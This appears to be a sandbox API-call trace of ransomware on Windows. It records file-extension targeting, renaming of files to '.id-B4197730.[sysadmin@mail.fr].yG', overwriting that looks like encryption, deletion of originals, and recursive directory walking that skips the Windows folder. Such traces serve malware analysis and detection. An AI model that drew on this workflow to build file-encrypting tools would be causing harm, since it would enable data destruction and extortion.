	[0055.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.789] lstrlenW (lpString=".doc") returned 4
	[0055.789] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.789] lstrlenW (lpString=".docx") returned 5
	[0055.789] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0055.789] lstrlenW (lpString=".pdf") returned 4
	[0055.789] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.789] lstrlenW (lpString=".xls") returned 4
	[0055.789] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.789] lstrlenW (lpString=".xlsx") returned 5
	[0055.790] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0055.790] lstrlenW (lpString=".ppt") returned 4
	[0055.790] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.790] lstrlenW (lpString=".zip") returned 4
	[0055.790] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.790] lstrlenW (lpString=".rar") returned 4
	[0055.790] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.790] lstrlenW (lpString=".bz2") returned 4
	[0055.790] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.790] lstrlenW (lpString=".7z") returned 3
	[0055.790] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.790] lstrlenW (lpString=".dbf") returned 4
	[0055.790] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.790] lstrlenW (lpString=".1cd") returned 4
	[0055.790] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0055.790] lstrlenW (lpString=".jpg") returned 4
	[0055.790] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.790] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.790] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23
	[0055.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0055.790] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1761448) returned 1
	[0055.792] CloseHandle (hObject=0x35c) returned 1
	[0055.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20
	[0055.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0055.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0055.794] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0x0) returned 1
	[0055.794] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1
	[0055.794] ReadFile (in: hFile=0x35c, lpBuffer=0x4064058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x4064058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0055.995] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1
	[0055.995] ReadFile (in: hFile=0x35c, lpBuffer=0x40a4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x40a4058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0055.997] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0055.997] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1
	[0055.997] ReadFile (in: hFile=0x35c, lpBuffer=0x40e4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x40e4058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0056.011] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.012] WriteFile (in: hFile=0x35c, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x33afca8, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0056.030] SetEndOfFile (hFile=0x35c) returned 1
	[0056.030] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0056.295] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1
	[0056.295] WriteFile (in: hFile=0x35c, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0056.296] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1
	[0056.296] WriteFile (in: hFile=0x35c, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0056.298] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1
	[0056.298] WriteFile (in: hFile=0x35c, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0056.351] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.353] CloseHandle (hObject=0x35c) returned 1
	[0056.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.701] lstrlenW (lpString=".doc") returned 4
	[0056.701] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.701] lstrlenW (lpString=".docx") returned 5
	[0056.701] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0056.701] lstrlenW (lpString=".pdf") returned 4
	[0056.701] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.701] lstrlenW (lpString=".xls") returned 4
	[0056.701] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.701] lstrlenW (lpString=".xlsx") returned 5
	[0056.701] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0056.701] lstrlenW (lpString=".ppt") returned 4
	[0056.701] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.701] lstrlenW (lpString=".zip") returned 4
	[0056.701] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.701] lstrlenW (lpString=".rar") returned 4
	[0056.701] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.701] lstrlenW (lpString=".bz2") returned 4
	[0056.701] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.701] lstrlenW (lpString=".7z") returned 3
	[0056.701] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.701] lstrlenW (lpString=".dbf") returned 4
	[0056.701] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.701] lstrlenW (lpString=".1cd") returned 4
	[0056.701] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.702] lstrlenW (lpString=".jpg") returned 4
	[0056.702] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.702] lstrlenW (lpString=".doc") returned 4
	[0056.702] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0056.702] lstrlenW (lpString=".docx") returned 5
	[0056.702] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0056.702] lstrlenW (lpString=".pdf") returned 4
	[0056.702] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0056.702] lstrlenW (lpString=".xls") returned 4
	[0056.702] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0056.702] lstrlenW (lpString=".xlsx") returned 5
	[0056.702] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0056.702] lstrlenW (lpString=".ppt") returned 4
	[0056.702] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.702] lstrlenW (lpString=".zip") returned 4
	[0056.702] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0056.702] lstrlenW (lpString=".rar") returned 4
	[0056.702] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0056.702] lstrlenW (lpString=".bz2") returned 4
	[0056.702] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0056.702] lstrlenW (lpString=".7z") returned 3
	[0056.702] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.702] lstrlenW (lpString=".dbf") returned 4
	[0056.702] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.702] lstrlenW (lpString=".1cd") returned 4
	[0056.702] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0056.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0056.702] lstrlenW (lpString=".jpg") returned 4
	[0056.702] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0056.703] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0056.703] lstrlenW (lpString="OfficeC2RCom.dll") returned 16
	[0056.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0056.703] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=996568) returned 1
	[0056.703] CloseHandle (hObject=0x35c) returned 1
	[0056.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20
	[0056.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0056.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0056.703] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.703] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0058.942] GetLastError () returned 0x0
	[0058.942] ReadFile (in: hFile=0x35c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0xf34d8, lpOverlapped=0x0) returned 1
	[0059.558] WriteFile (in: hFile=0x34c, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf34e0, lpOverlapped=0x0) returned 1
	[0059.572] ReadFile (in: hFile=0x35c, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.572] WriteFile (in: hFile=0x34c, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf4, lpOverlapped=0x0) returned 1
	[0059.572] SetEndOfFile (hFile=0x34c) returned 1
	[0060.768] CloseHandle (hObject=0x34c) returned 1
	[0060.770] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.770] SetEndOfFile (hFile=0x35c) returned 1
	[0060.777] CloseHandle (hObject=0x35c) returned 1
	[0060.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0060.777] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1
	[0060.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.777] lstrlenW (lpString=".doc") returned 4
	[0060.777] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0060.777] lstrlenW (lpString=".docx") returned 5
	[0060.778] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0060.778] lstrlenW (lpString=".pdf") returned 4
	[0060.778] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0060.778] lstrlenW (lpString=".xls") returned 4
	[0060.778] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0060.778] lstrlenW (lpString=".xlsx") returned 5
	[0060.778] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0060.778] lstrlenW (lpString=".ppt") returned 4
	[0060.778] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.778] lstrlenW (lpString=".zip") returned 4
	[0060.778] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0060.778] lstrlenW (lpString=".rar") returned 4
	[0060.778] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0060.778] lstrlenW (lpString=".bz2") returned 4
	[0060.778] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0060.778] lstrlenW (lpString=".7z") returned 3
	[0060.778] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.778] lstrlenW (lpString=".dbf") returned 4
	[0060.778] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.778] lstrlenW (lpString=".1cd") returned 4
	[0060.778] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.778] lstrlenW (lpString=".jpg") returned 4
	[0060.778] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.778] lstrlenW (lpString=".doc") returned 4
	[0060.778] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0060.778] lstrlenW (lpString=".docx") returned 5
	[0060.778] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0060.779] lstrlenW (lpString=".pdf") returned 4
	[0060.779] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0060.779] lstrlenW (lpString=".xls") returned 4
	[0060.779] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0060.779] lstrlenW (lpString=".xlsx") returned 5
	[0060.779] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0060.779] lstrlenW (lpString=".ppt") returned 4
	[0060.779] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0060.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.779] lstrlenW (lpString=".zip") returned 4
	[0060.779] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0060.779] lstrlenW (lpString=".rar") returned 4
	[0060.779] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0060.779] lstrlenW (lpString=".bz2") returned 4
	[0060.779] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0060.779] lstrlenW (lpString=".7z") returned 3
	[0060.779] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0060.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.779] lstrlenW (lpString=".dbf") returned 4
	[0060.779] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0060.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.779] lstrlenW (lpString=".1cd") returned 4
	[0060.779] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0060.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0060.779] lstrlenW (lpString=".jpg") returned 4
	[0060.779] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1

Thread:
	id = 18
	os_tid = 0x788

	[0039.990] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x3bc4e48
	[0039.991] lstrlenW (lpString="C:") returned 2
	[0039.991] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x34efcf8 | out: lpFindFileData=0x34efcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x742d30
	[0040.106] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0040.106] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0040.106] lstrlenW (lpString="$GetCurrent") returned 11
	[0040.106] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0040.106] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0040.106] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0040.106] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x742c70
	[0040.305] FindNextFileW (in: hFindFile=0x742c70, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0040.305] FindNextFileW (in: hFindFile=0x742c70, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0040.305] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0040.305] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0040.305] lstrlenW (lpString="Logs") returned 4
	[0040.305] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0040.305] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0040.306] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0040.306] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742db0
	[0040.826] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
